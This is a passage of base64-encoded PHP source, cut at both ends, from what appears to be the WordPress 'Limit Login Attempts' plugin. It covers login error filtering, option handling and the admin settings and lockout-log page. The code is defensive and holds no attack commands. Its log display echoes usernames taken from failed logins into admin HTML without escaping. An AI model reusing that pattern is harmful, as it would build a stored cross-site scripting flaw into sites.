duIHVzZXIgb3IgZW1wdHkgcGFzc3dvcmQpLgoJICovCglpZiAoIWlzX2xpbWl0X2xvZ2luX29rKCkgJiYgISRsaW1pdF9sb2dpbl9qdXN0X2xvY2tlZG91dCkgewoJCXJldHVybiBsaW1pdF9sb2dpbl9lcnJvcl9tc2coKTsKCX0KCgkvKgoJICogV2Ugd2FudCB0byBmaWx0ZXIgdGhlIG1lc3NhZ2VzICdJbnZhbGlkIHVzZXJuYW1lJyBhbmQKCSAqICdJbnZhbGlkIHBhc3N3b3JkJyBhcyB0aGF0IGlzIGFuIGluZm9ybWF0aW9uIGxlYWsgcmVnYXJkaW5nIHVzZXIKCSAqIGFjY291bnQgbmFtZXMgKHByaW9yIHRvIFdQIDIuOT8pLgoJICoKCSAqIEFsc28sIGlmIG1vcmUgdGhhbiBvbmUgZXJyb3IgbWVzc2FnZSwgcHV0IGFuIGV4dHJhIDxiciAvPiB0YWcgYmV0d2VlbgoJICogdGhlbS4KCSAqLwoJJG1zZ3MgPSBleHBsb2RlKCI8YnIgLz5cbiIsICRjb250ZW50KTsKCglpZiAoc3RybGVuKGVuZCgkbXNncykpID09IDApIHsKCQkvKiByZW1vdmUgbGFzdCBlbnRyeSBlbXB0eSBzdHJpbmcgKi8KCQlhcnJheV9wb3AoJG1zZ3MpOwoJfQoKCSRjb3VudCA9IGNvdW50KCRtc2dzKTsKCSRteV93YXJuX2NvdW50ID0gJGxpbWl0X2xvZ2luX215X2Vycm9yX3Nob3duID8gMSA6IDA7CgoJaWYgKCRsaW1pdF9sb2dpbl9ub25lbXB0eV9jcmVkZW50aWFscyAmJiAkY291bnQgPiAkbXlfd2Fybl9jb3VudCkgewoJCS8qIFJlcGxhY2UgZXJyb3IgbWVzc2FnZSwgaW5jbHVkaW5nIG91cnMgaWYgbmVjZXNzYXJ5ICovCgkJJGNvbnRlbnQgPSBfXygnPHN0cm9uZz5FUlJPUjwvc3Ryb25nPjogSW5jb3JyZWN0IHVzZXJuYW1lIG9yIHBhc3N3b3JkLicsICdsaW1pdC1sb2dpbi1hdHRlbXB0cycpIC4gIjxiciAvPlxuIjsKCQlpZiAoJGxpbWl0X2xvZ2luX215X2Vycm9yX3Nob3duKSB7CgkJCSRjb250ZW50IC49ICI8YnIgLz5cbiIgLiBsaW1pdF9sb2dpbl9nZXRfbWVzc2FnZSgpIC4gIjxiciAvPlxuIjsKCQl9CgkJcmV0dXJuICRjb250ZW50OwoJfSBlbHNlaWYgKCRjb3VudCA8PSAxKSB7CgkJcmV0dXJuICRjb250ZW50OwoJfQoKCSRuZXcgPSAnJzsKCXdoaWxlICgkY291bnQtLSA+IDApIHsKCQkkbmV3IC49IGFycmF5X3NoaWZ0KCRtc2dzKSAuICI8YnIgLz5cbiI7CgkJaWYgKCRjb3VudCA+IDApIHsKCQkJJG5ldyAuPSAiPGJyIC8+XG4iOwoJCX0KCX0KCglyZXR1cm4gJG5ldzsKfQoKCi8qIEFkZCBhIG1lc3NhZ2UgdG8gbG9naW4gcGFnZSB3aGVuIG5lY2Vzc2FyeSAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl9hZGRfZXJyb3JfbWVzc2FnZSgpIHsKCWdsb2JhbCAkZXJyb3IsICRsaW1pdF9sb2dpbl9teV9lcnJvcl9zaG93bjsKCglpZiAoIXNob3VsZF9saW1pdF9sb2dpbl9zaG93X21zZygpIHx8ICRsaW1pdF9sb2dpbl9teV9lcnJvcl9zaG93bikgewoJCXJldHVybjsKCX0KCgkkbXNnID0gbGltaXRfbG9naW5fZ2V0X21lc3NhZ2UoKTsKCglpZiAoJG1zZyAhPSAnJykgewoJCSRsaW1pdF9sb2dpbl9teV9lcnJvcl9zaG93biA9IHRydWU7CgkJJGVycm9yIC49ICRtc2c7Cgl9CgoJcmV0dXJuOwp9CgoKLyogS2VlcCB0cmFjayBvZiBpZiB1c2VyIG9yIHBhc3N3b3JkIGFyZSBlbXB0eSwgdG8gZmlsdGVyIGVycm9ycyBjb3JyZWN0bHkgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fdHJhY2tfY3JlZGVudGlhbHMoJHVzZXIsICRwYXNzd29yZCkgewoJZ2xvYmFsICRsaW1pdF9sb2dpbl9ub25lbXB0eV9jcmVkZW50aWFsczsKCgkkbGltaXRfbG9naW5fbm9uZW1wdHlfY3JlZGVudGlhbHMgPSAoIWVtcHR5KCR1c2VyKSAmJiAhZW1wdHkoJHBhc3N3b3JkKSk7Cn0KCgovKgogKiBBZG1pbiBzdHVmZgogKi8KCi8qIE1ha2UgYSBndWVzcyBpZiB3ZSBhcmUgYmVoaW5kIGEgcHJveHkgb3Igbm90ICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX2d1ZXNzX3Byb3h5KCkgewoJcmV0dXJuIGlzc2V0KCRfU0VSVkVSW0xJTUlUX0xPR0lOX1BST1hZX0FERFJdKQoJCT8gTElNSVRfTE9HSU5fUFJPWFlfQUREUiA6IExJTUlUX0xPR0lOX0RJUkVDVF9BRERSOwp9CgoKLyogT25seSBjaGFuZ2UgdmFyIGlmIG9wdGlvbiBleGlzdHMgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fZ2V0X29wdGlvbigkb3B0aW9uLCAkdmFyX25hbWUpIHsKCSRhID0gZ2V0X29wdGlvbigkb3B0aW9uKTsKCglpZiAoJGEgIT09IGZhbHNlKSB7CgkJZ2xvYmFsICRsaW1pdF9sb2dpbl9vcHRpb25zOwoKCQkkbGltaXRfbG9naW5fb3B0aW9uc1skdmFyX25hbWVdID0gJGE7Cgl9Cn0KCgovKiBTZXR1cCBnbG9iYWwgdmFyaWFibGVzIGZyb20gb3B0aW9ucyAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl9zZXR1cF9vcHRpb25zKCkgewoJbGltaXRfbG9naW5fZ2V0X29wdGlvbignbGltaXRfbG9naW5fY2xpZW50X3R5cGUnLCAnY2xpZW50X3R5cGUnKTsKCWxpbWl0X2xvZ2luX2dldF9vcHRpb24oJ2xpbWl0X2xvZ2luX2FsbG93ZWRfcmV0cmllcycsICdhbGxvd2VkX3JldHJpZXMnKTsKCWxpbWl0X2xvZ2luX2dldF9vcHRpb24oJ2xpbWl0X2xvZ2luX2xvY2tvdXRfZHVyYXRpb24nLCAnbG9ja291dF9kdXJhdGlvbicpOwoJbGltaXRfbG9naW5fZ2V0X29wdGlvbignbGltaXRfbG9naW5fdmFsaWRfZHVyYXRpb24nLCAndmFsaWRfZHVyYXRpb24nKTsKCWxpbWl0X2xvZ2luX2dldF9vcHRpb24oJ2xpbWl0X2xvZ2luX2Nvb2tpZXMnLCAnY29va2llcycpOwoJbGltaXRfbG9naW5fZ2V0X29wdGlvbignbGltaXRfbG9naW5fbG9ja291dF9ub3RpZnknLCAnbG9ja291dF9ub3RpZnknKTsKCWxpbWl0X2xvZ2luX2dldF9vcHRpb24oJ2xpbWl0X2xvZ2luX2FsbG93ZWRfbG9ja291dHMnLCAnYWxsb3dlZF9sb2Nrb3V0cycpOwoJbGltaXRfbG9naW5fZ2V0X29wdGlvbignbGltaXRfbG9naW5fbG9uZ19kdXJhdGlvbicsICdsb25nX2R1cmF0aW9uJyk7CglsaW1pdF9sb2dpbl9nZXRfb3B0aW9uKCdsaW1pdF9sb2dpbl9ub3RpZnlfZW1haWxfYWZ0ZXInLCAnbm90aWZ5X2VtYWlsX2FmdGVyJyk7CgoJbGltaXRfbG9naW5fc2FuaXRpemVfdmFyaWFibGVzKCk7Cn0KCgovKiBVcGRhdGUgb3B0aW9ucyBpbiBkYiBmcm9tIGdsb2JhbCB2YXJpYWJsZXMgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fdXBkYXRlX29wdGlvbnMoKSB7Cgl1cGRhdGVfb3B0aW9uKCdsaW1pdF9sb2dpbl9jbGllbnRfdHlwZScsIGxpbWl0X2xvZ2luX29wdGlvbignY2xpZW50X3R5cGUnKSk7Cgl1cGRhdGVfb3B0aW9uKCdsaW1pdF9sb2dpbl9hbGxvd2VkX3JldHJpZXMnLCBsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfcmV0cmllcycpKTsKCXVwZGF0ZV9vcHRpb24oJ2xpbWl0X2xvZ2luX2xvY2tvdXRfZHVyYXRpb24nLCBsaW1pdF9sb2dpbl9vcHRpb24oJ2xvY2tvdXRfZHVyYXRpb24nKSk7Cgl1cGRhdGVfb3B0aW9uKCdsaW1pdF9sb2dpbl9hbGxvd2VkX2xvY2tvdXRzJywgbGltaXRfbG9naW5fb3B0aW9uKCdhbGxvd2VkX2xvY2tvdXRzJykpOwoJdXBkYXRlX29wdGlvbignbGltaXRfbG9naW5fbG9uZ19kdXJhdGlvbicsIGxpbWl0X2xvZ2luX29wdGlvbignbG9uZ19kdXJhdGlvbicpKTsKCXVwZGF0ZV9vcHRpb24oJ2xpbWl0X2xvZ2luX3ZhbGlkX2R1cmF0aW9uJywgbGltaXRfbG9naW5fb3B0aW9uKCd2YWxpZF9kdXJhdGlvbicpKTsKCXVwZGF0ZV9vcHRpb24oJ2xpbWl0X2xvZ2luX2xvY2tvdXRfbm90aWZ5JywgbGltaXRfbG9naW5fb3B0aW9uKCdsb2Nrb3V0X25vdGlmeScpKTsKCXVwZGF0ZV9vcHRpb24oJ2xpbWl0X2xvZ2luX25vdGlmeV9lbWFpbF9hZnRlcicsIGxpbWl0X2xvZ2luX29wdGlvbignbm90aWZ5X2VtYWlsX2FmdGVyJykpOwoJdXBkYXRlX29wdGlvbignbGltaXRfbG9naW5fY29va2llcycsIGxpbWl0X2xvZ2luX29wdGlvbignY29va2llcycpID8gJzEnIDogJzAnKTsKfQoKCi8qIE1ha2Ugc3VyZSB0aGUgdmFyaWFibGVzIG1ha2Ugc2Vuc2UgLS0gc2ltcGxlIGludGVnZXIgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fc2FuaXRpemVfc2ltcGxlX2ludCgkdmFyX25hbWUpIHsKCWdsb2JhbCAkbGltaXRfbG9naW5fb3B0aW9uczsKCgkkbGltaXRfbG9naW5fb3B0aW9uc1skdmFyX25hbWVdID0gbWF4KDEsIGludHZhbChsaW1pdF9sb2dpbl9vcHRpb24oJHZhcl9uYW1lKSkpOwp9CgoKLyogTWFrZSBzdXJlIHRoZSB2YXJpYWJsZXMgbWFrZSBzZW5zZSAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl9zYW5pdGl6ZV92YXJpYWJsZXMoKSB7CglnbG9iYWwgJGxpbWl0X2xvZ2luX29wdGlvbnM7CgoJbGltaXRfbG9naW5fc2FuaXRpemVfc2ltcGxlX2ludCgnYWxsb3dlZF9yZXRyaWVzJyk7CglsaW1pdF9sb2dpbl9zYW5pdGl6ZV9zaW1wbGVfaW50KCdsb2Nrb3V0X2R1cmF0aW9uJyk7CglsaW1pdF9sb2dpbl9zYW5pdGl6ZV9zaW1wbGVfaW50KCd2YWxpZF9kdXJhdGlvbicpOwoJbGltaXRfbG9naW5fc2FuaXRpemVfc2ltcGxlX2ludCgnYWxsb3dlZF9sb2Nrb3V0cycpOwoJbGltaXRfbG9naW5fc2FuaXRpemVfc2ltcGxlX2ludCgnbG9uZ19kdXJhdGlvbicpOwoKCSRsaW1pdF9sb2dpbl9vcHRpb25zWydjb29raWVzJ10gPSAhIWxpbWl0X2xvZ2luX29wdGlvbignY29va2llcycpOwoKCSRub3RpZnlfZW1haWxfYWZ0ZXIgPSBtYXgoMSwgaW50dmFsKGxpbWl0X2xvZ2luX29wdGlvbignbm90aWZ5X2VtYWlsX2FmdGVyJykpKTsKCSRsaW1pdF9sb2dpbl9vcHRpb25zWydub3RpZnlfZW1haWxfYWZ0ZXInXSA9IG1pbihsaW1pdF9sb2dpbl9vcHRpb24oJ2FsbG93ZWRfbG9ja291dHMnKSwgJG5vdGlmeV9lbWFpbF9hZnRlcik7CgoJJGFyZ3MgPSBleHBsb2RlKCcsJywgbGltaXRfbG9naW5fb3B0aW9uKCdsb2Nrb3V0X25vdGlmeScpKTsKCSRhcmdzX2FsbG93ZWQgPSBleHBsb2RlKCcsJywgTElNSVRfTE9HSU5fTE9DS09VVF9OT1RJRllfQUxMT1dFRCk7CgkkbmV3X2FyZ3MgPSBhcnJheSgpOwoJZm9yZWFjaCAoJGFyZ3MgYXMgJGEpIHsKCQlpZiAoaW5fYXJyYXkoJGEsICRhcmdzX2FsbG93ZWQpKSB7CgkJCSRuZXdfYXJnc1tdID0gJGE7CgkJfQoJfQoJJGxpbWl0X2xvZ2luX29wdGlvbnNbJ2xvY2tvdXRfbm90aWZ5J10gPSBpbXBsb2RlKCcsJywgJG5ld19hcmdzKTsKCglpZiAoIGxpbWl0X2xvZ2luX29wdGlvbignY2xpZW50X3R5cGUnKSAhPSBMSU1JVF9MT0dJTl9ESVJFQ1RfQUREUgoJCSAmJiBsaW1pdF9sb2dpbl9vcHRpb24oJ2NsaWVudF90eXBlJykgIT0gTElNSVRfTE9HSU5fUFJPWFlfQUREUiApIHsKCQkkbGltaXRfbG9naW5fb3B0aW9uc1snY2xpZW50X3R5cGUnXSA9IExJTUlUX0xPR0lOX0RJUkVDVF9BRERSOwoJfQp9CgoKLyogQWRkIGFkbWluIG9wdGlvbnMgcGFnZSAqLwpmdW5jdGlvbiBsaW1pdF9sb2dpbl9hZG1pbl9tZW51KCkgewoJZ2xvYmFsICR3cF92ZXJzaW9uOwoKCS8vIE1vZGVybiBXUD8KCWlmICh2ZXJzaW9uX2NvbXBhcmUoJHdwX3ZlcnNpb24sICczLjAnLCAnPj0nKSkgewoJICAgIGFkZF9vcHRpb25zX3BhZ2UoJ0xpbWl0IExvZ2luIEF0dGVtcHRzJywgJ0xpbWl0IExvZ2luIEF0dGVtcHRzJywgJ21hbmFnZV9vcHRpb25zJywgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJywgJ2xpbWl0X2xvZ2luX29wdGlvbl9wYWdlJyk7CgkgICAgcmV0dXJuOwoJfQoKCS8vIE9sZGVyIFdQTVU/CglpZiAoZnVuY3Rpb25fZXhpc3RzKCJnZXRfY3VycmVudF9zaXRlIikpIHsKCSAgICBhZGRfc3VibWVudV9wYWdlKCd3cG11LWFkbWluLnBocCcsICdMaW1pdCBMb2dpbiBBdHRlbXB0cycsICdMaW1pdCBMb2dpbiBBdHRlbXB0cycsIDksICdsaW1pdC1sb2dpbi1hdHRlbXB0cycsICdsaW1pdF9sb2dpbl9vcHRpb25fcGFnZScpOwoJICAgIHJldHVybjsKCX0KCgkvLyBPbGRlciBXUAoJYWRkX29wdGlvbnNfcGFnZSgnTGltaXQgTG9naW4gQXR0ZW1wdHMnLCAnTGltaXQgTG9naW4gQXR0ZW1wdHMnLCA5LCAnbGltaXQtbG9naW4tYXR0ZW1wdHMnLCAnbGltaXRfbG9naW5fb3B0aW9uX3BhZ2UnKTsKfQoKCi8qIFNob3cgbG9nIG9uIGFkbWluIHBhZ2UgKi8KZnVuY3Rpb24gbGltaXRfbG9naW5fc2hvd19sb2coJGxvZykgewoJaWYgKCFpc19hcnJheSgkbG9nKSB8fCBjb3VudCgkbG9nKSA9PSAwKSB7CgkJcmV0dXJuOwoJfQoKCWVjaG8oJzx0cj48dGggc2NvcGU9ImNvbCI+JyAuIF94KCJJUCIsICJJbnRlcm5ldCBhZGRyZXNzIiwgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJykgLiAnPC90aD48dGggc2NvcGU9ImNvbCI+JyAuIF9fKCdUcmllZCB0byBsb2cgaW4gYXMnLCAnbGltaXQtbG9naW4tYXR0ZW1wdHMnKSAuICc8L3RoPjwvdHI+Jyk7Cglmb3JlYWNoICgkbG9nIGFzICRpcCA9PiAkYXJyKSB7CgkJZWNobygnPHRyPjx0ZCBjbGFzcz0ibGltaXQtbG9naW4taXAiPicgLiAkaXAgLiAnPC90ZD48dGQgY2xhc3M9ImxpbWl0LWxvZ2luLW1heCI+Jyk7CgkJJGZpcnN0ID0gdHJ1ZTsKCQlmb3JlYWNoKCRhcnIgYXMgJHVzZXIgPT4gJGNvdW50KSB7CgkJCSRjb3VudF9kZXNjID0gc3ByaW50ZihfbignJWQgbG9ja291dCcsICclZCBsb2Nrb3V0cycsICRjb3VudCwgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyksICRjb3VudCk7CgkJCWlmICghJGZpcnN0KSB7CgkJCQllY2hvKCcsICcgLiAkdXNlciAuICcgKCcgLiAgJGNvdW50X2Rlc2MgLiAnKScpOwoJCQl9IGVsc2UgewoJCQkJZWNobygkdXNlciAuICcgKCcgLiAgJGNvdW50X2Rlc2MgLiAnKScpOwoJCQl9CgkJCSRmaXJzdCA9IGZhbHNlOwoJCX0KCQllY2hvKCc8L3RkPjwvdHI+Jyk7Cgl9Cn0KCi8qIEFjdHVhbCBhZG1pbiBwYWdlICovCmZ1bmN0aW9uIGxpbWl0X2xvZ2luX29wdGlvbl9wYWdlKCkJewkKCWxpbWl0X2xvZ2luX2NsZWFudXAoKTsKCglpZiAoIWN1cnJlbnRfdXNlcl9jYW4oJ21hbmFnZV9vcHRpb25zJykpIHsKCQl3cF9kaWUoJ1NvcnJ5LCBidXQgeW91IGRvIG5vdCBoYXZlIHBlcm1pc3Npb25zIHRvIGNoYW5nZSBzZXR0aW5ncy4nKTsKCX0KCgkvKiBNYWtlIHN1cmUgcG9zdCB3YXMgZnJvbSB0aGlzIHBhZ2UgKi8KCWlmIChjb3VudCgkX1BPU1QpID4gMCkgewoJCWNoZWNrX2FkbWluX3JlZmVyZXIoJ2xpbWl0LWxvZ2luLWF0dGVtcHRzLW9wdGlvbnMnKTsKCX0KCQkKCS8qIFNob3VsZCB3ZSBjbGVhciBsb2c/ICovCglpZiAoaXNzZXQoJF9QT1NUWydjbGVhcl9sb2cnXSkpIHsKCQlkZWxldGVfb3B0aW9uKCdsaW1pdF9sb2dpbl9sb2dnZWQnKTsKCQllY2hvICc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCBmYWRlIj48cD4nCgkJCS4gX18oJ0NsZWFyZWQgSVAgbG9nJywgJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJykKCQkJLiAnPC9wPjwvZGl2Pic7Cgl9CgkJCgkvKiBTaG91bGQgd2UgcmVzZXQgY291bnRlcj8gKi8KCWlmIChpc3NldCgkX1BPU1RbJ3Jlc2V0X3RvdGFsJ10pKSB7CgkJdXBkYXRlX29wdGlvbignbGltaXRfbG9naW5fbG9ja291dHNfdG90YWwnLCAwKTsKCQllY2hvICc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCBmYWRlIj48cD4nCgkJCS4gX18oJ1Jlc2V0IGxvY2tvdXQgY291bnQnLCAnbGltaXQtbG9naW4tYXR0ZW1wdHMnKQoJCQkuICc8L3A+PC9kaXY+JzsKCX0KCQkKCS8qIFNob3VsZCB3ZSByZXN0b3JlIGN1cnJlbnQgbG9ja291dHM/ICovCglpZiAoaXNzZXQoJF9QT1NUWydyZXNldF9jdXJyZW50J10pKSB7CgkJdXBkYXRlX29wdGlvbignbGltaXRfbG9naW5fbG9ja291dHMnLCBhcnJheSgpKTsKCQllY2hvICc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCBmYWRlIj48cD4nCgkJCS4gX18oJ0NsZWFyZWQgY3VycmVudCBsb2Nrb3V0cycsICdsaW1pdC1sb2dpbi1hdHRlbXB0cycpCgkJCS4gJzwvcD48L2Rpdj4nOwoJfQoKCS8qIFNob3VsZCB3ZSB1cGRhdGUgb3B0aW9ucz8gKi8KCWlmIChpc3NldCgkX1BPU1RbJ3VwZGF0ZV9vcHRpb25zJ10pKSB7CgkJZ2xvYmFsICRsaW1pdF9sb2dpbl9vcHRpb25zOwoKCQkkbGltaXRfbG9naW5fb3B0aW9uc1snY2xpZW50X3R5cGUnXSA9ICRfUE9TVFsnY2xpZW50X3R5cGUnXTsKCQkkbGltaXRfbG9naW5fb3B0aW9uc1snYWxsb3dlZF9yZXRyaWVzJ10gPSAkX1BPU1RbJ2FsbG93ZWRfcmV0cmllcyddOwoJCSRsaW1pdF9sb2dpbl9vcHRpb25zWydsb2Nrb3V0X2R1cmF0aW9uJ10gPSAkX1BPU1RbJ2xvY2tvdXRfZHVyYXRpb24nXSAqIDYwOwoJCSRsaW1pdF9sb2dpbl9vcHRpb25zWyd2YWxpZF9kdXJhdGlvbiddID0gJF9QT1NUWyd2YWxpZF9kdXJhdGlvbiddICogMzYwMDsKCQkkbGltaXRfbG9naW5fb3B0aW9uc1snYWxsb3dlZF9sb2Nrb3V0cyddID0gJF9QT1NUWydhbGxvd2VkX2xvY2tvdXRzJ107CgkJJGxpbWl0X2xvZ2luX29wdGlvbnNbJ2xvbmdfZHVyYXRpb24nXSA9ICRfUE9TVFsnbG9uZ19kdXJhdGlvbiddICogMzYwMDsKCQkkbGltaXRfbG9naW5fb3B0aW9uc1snbm90aWZ5X2VtYWlsX2FmdGVyJ10gPSAkX1BPU1RbJ2VtYWlsX2FmdGVyJ107CgkJJGxpbWl0X2xvZ2luX29wdGlvbnNbJ2Nvb2tpZXMnXSA9IChpc3NldCgkX1BPU1RbJ2Nvb2tpZXMnXSkgJiYgJF9QT1NUWydjb29raWVzJ10gPT0gJzEnKTsKCgkJJHYgPSBhcnJheSgpOwoJCWlmIChpc3NldCgkX1BPU1RbJ2xvY2tvdXRfbm90aWZ5X2xvZyddKSkgewoJCQkkdltdID0gJ2xvZyc7CgkJfQoJCWlmIChpc3NldCgkX1BPU1RbJ2xvY2tvdXRfbm90aWZ5X2VtYWlsJ10pKSB7CgkJCSR2W10gPSAnZW1haWwnOwoJCX0KCQkkbGltaXRfbG9naW5fb3B0aW9uc1snbG9ja291dF9ub3RpZnknXSA9IGltcGxvZGUoJywnLCAkdik7CgoJCWxpbWl0X2xvZ2luX3Nhbml0aXplX3ZhcmlhYmxlcygpOwoJCWxpbWl0X2xvZ2luX3VwZGF0ZV9vcHRpb25zKCk7CgkJZWNobyAnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQgZmFkZSI+PHA+JwoJCQkuIF9fKCdPcHRpb25zIGNoYW5nZWQnLCAnbGltaXQtbG9naW4tYXR0ZW1wdHMnKQoJCQkuICc8L3A+PC9kaXY+JzsKCX0KCgkkbG9ja291dHNfdG90YWwgPSBnZXRfb3B0aW9uKCdsaW1pdF9sb2dpbl9sb2Nrb3V0c190b3RhbCcsIDApOwoJJGxvY2tvdXRzID0gZ2V0X29wdGlvbignbGltaXRfbG9naW5fbG9ja291dHMnKTsKCSRsb2Nrb3V0c19ub3cgPSBpc19hcnJheSgkbG9ja291dHMpID8gY291bnQoJGxvY2tvdXRzKSA6IDA7CgoJJGNvb2tpZXNfeWVzID0gbGltaXRfbG9naW5fb3B0aW9uKCdjb29raWVzJykgPyAnIGNoZWNrZWQgJyA6ICcnOwoJJGNvb2tpZXNfbm8gPSBsaW1pdF9sb2dpbl9vcHRpb24oJ2Nvb2tpZXMnKSA/ICcnIDogJyBjaGVja2VkICc7CgoJJGNsaWVudF90eXBlID0gbGltaXRfbG9naW5fb3B0aW9uKCdjbGllbnRfdHlwZScpOwoJJGNsaWVudF90eXBlX2RpcmVjdCA9ICRjbGllbnRfdHlwZSA9PSBMSU1JVF9MT0dJTl9ESVJFQ1RfQUREUiA/ICcgY2hlY2tlZCAnIDogJyc7CgkkY2xpZW50X3R5cGVfcHJveHkgPSAkY2xpZW50X3R5cGUgPT0gTElNSVRfTE9HSU5fUFJPWFlfQUREUiA/ICcgY2hlY2tlZCAnIDogJyc7CgoJJGNsaWVudF90eXBlX2d1ZXNzID0gbGltaXRfbG9naW5fZ3Vlc3NfcHJveHkoKTsKCglpZiAoJGNsaWVudF90eXBlX2d1ZXNzID09IExJTUlUX0xPR0lOX0RJUkVDVF9BRERSKSB7CgkJJGNsaWVudF90eXBlX21lc3NhZ2UgPSBzcHJpbnRmKF9fKCdJdCBhcHBlYXJzIHRoZSBzaXRlIGlzIHJlYWNoZWQgZGlyZWN0bHkgKGZyb20geW91ciBJUDogJXMpJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKSwgbGltaXRfbG9naW5fZ2V0X2FkZHJlc3MoTElNSVRfTE9HSU5fRElSRUNUX0FERFIpKTsKCX0gZWxzZSB7CgkJJGNsaWVudF90eXBlX21lc3NhZ2UgPSBzcHJpbnRmKF9fKCdJdCBhcHBlYXJzIHRoZSBzaXRlIGlzIHJlYWNoZWQgdGhyb3VnaCBhIHByb3h5IHNlcnZlciAocHJveHkgSVA6ICVzLCB5b3VyIElQOiAlcyknLCdsaW1pdC1sb2dpbi1hdHRlbXB0cycpLCBsaW1pdF9sb2dpbl9nZXRfYWRkcmVzcyhMSU1JVF9MT0dJTl9ESVJFQ1RfQUREUiksIGxpbWl0X2xvZ2luX2dldF9hZGRyZXNzKExJTUlUX0xPR0lOX1BST1hZX0FERFIpKTsKCX0KCSRjbGllbnRfdHlwZV9tZXNzYWdlIC49ICc8YnIgLz4nOwoKCSRjbGllbnRfdHlwZV93YXJuaW5nID0gJyc7CglpZiAoJGNsaWVudF90eXBlICE9ICRjbGllbnRfdHlwZV9ndWVzcykgewoJCSRmYXEgPSAnaHR0cDovL3dvcmRwcmVzcy5vcmcvZXh0ZW5kL3BsdWdpbnMvbGltaXQtbG9naW4tYXR0ZW1wdHMvZmFxLyc7CgoJCSRjbGllbnRfdHlwZV93YXJuaW5nID0gJzxiciAvPjxiciAvPicgLiBzcHJpbnRmKF9fKCc8c3Ryb25nPkN1cnJlbnQgc2V0dGluZyBhcHBlYXJzIHRvIGJlIGludmFsaWQ8L3N0cm9uZz4uIFBsZWFzZSBtYWtlIHN1cmUgaXQgaXMgY29ycmVjdC4gRnVydGhlciBpbmZvcm1hdGlvbiBjYW4gYmUgZm91bmQgPGEgaHJlZj0iJXMiIHRpdGxlPSJGQVEiPmhlcmU8L2E+JywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKSwgJGZhcSk7Cgl9CgoJJHYgPSBleHBsb2RlKCcsJywgbGltaXRfbG9naW5fb3B0aW9uKCdsb2Nrb3V0X25vdGlmeScpKTsgCgkkbG9nX2NoZWNrZWQgPSBpbl9hcnJheSgnbG9nJywgJHYpID8gJyBjaGVja2VkICcgOiAnJzsKCSRlbWFpbF9jaGVja2VkID0gaW5fYXJyYXkoJ2VtYWlsJywgJHYpID8gJyBjaGVja2VkICcgOiAnJzsKCT8+Cgk8ZGl2IGNsYXNzPSJ3cmFwIj4KCSAgPGgyPjw/cGhwIGVjaG8gX18oJ0xpbWl0IExvZ2luIEF0dGVtcHRzIFNldHRpbmdzJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz48L2gyPgoJICA8aDM+PD9waHAgZWNobyBfXygnU3RhdGlzdGljcycsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyk7ID8+PC9oMz4KCSAgPGZvcm0gYWN0aW9uPSJvcHRpb25zLWdlbmVyYWwucGhwP3BhZ2U9bGltaXQtbG9naW4tYXR0ZW1wdHMiIG1ldGhvZD0icG9zdCI+CgkJPD9waHAgd3Bfbm9uY2VfZmllbGQoJ2xpbWl0LWxvZ2luLWF0dGVtcHRzLW9wdGlvbnMnKTsgPz4KCSAgICA8dGFibGUgY2xhc3M9ImZvcm0tdGFibGUiPgoJCSAgPHRyPgoJCQk8dGggc2NvcGU9InJvdyIgdmFsaWduPSJ0b3AiPjw/cGhwIGVjaG8gX18oJ1RvdGFsIGxvY2tvdXRzJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz48L3RoPgoJCQk8dGQ+CgkJCSAgPD9waHAgaWYgKCRsb2Nrb3V0c190b3RhbCA+IDApIHsgPz4KCQkJICA8aW5wdXQgbmFtZT0icmVzZXRfdG90YWwiIHZhbHVlPSI8P3BocCBlY2hvIF9fKCdSZXNldCBDb3VudGVyJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz4iIHR5cGU9InN1Ym1pdCIgLz4KCQkJICA8P3BocCBlY2hvIHNwcmludGYoX24oJyVkIGxvY2tvdXQgc2luY2UgbGFzdCByZXNldCcsICclZCBsb2Nrb3V0cyBzaW5jZSBsYXN0IHJlc2V0JywgJGxvY2tvdXRzX3RvdGFsLCAnbGltaXQtbG9naW4tYXR0ZW1wdHMnKSwgJGxvY2tvdXRzX3RvdGFsKTsgPz4KCQkJICA8P3BocCB9IGVsc2UgeyBlY2hvIF9fKCdObyBsb2Nrb3V0cyB5ZXQnLCdsaW1pdC1sb2dpbi1hdHRlbXB0cycpOyB9ID8+CgkJCTwvdGQ+CgkJICA8L3RyPgoJCSAgPD9waHAgaWYgKCRsb2Nrb3V0c19ub3cgPiAwKSB7ID8+CgkJICA8dHI+CgkJCTx0aCBzY29wZT0icm93IiB2YWxpZ249InRvcCI+PD9waHAgZWNobyBfXygnQWN0aXZlIGxvY2tvdXRzJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz48L3RoPgoJCQk8dGQ+CgkJCSAgPGlucHV0IG5hbWU9InJlc2V0X2N1cnJlbnQiIHZhbHVlPSI8P3BocCBlY2hvIF9fKCdSZXN0b3JlIExvY2tvdXRzJywnbGltaXQtbG9naW4tYXR0ZW1wdHMnKTsgPz4iIHR5cGU9InN1Ym1pdCIgLz4KCQkJICA8P3BocCBlY2hvIHNwcmludGYoX18oJyVkIElQIGlzIGN1cnJlbnRseSBibG9ja2VkIGZyb20gdHJ5aW5nIHRvIGxvZyBpbicsJ2xpbWl0LWxvZ2luLWF0dGVtcHRzJyksICRsb2Nrb3V0c19ub3cpOyA/PiAKCQkJPC90ZD4KCQkgIDwvdHI+CgkJICA8P3BocCB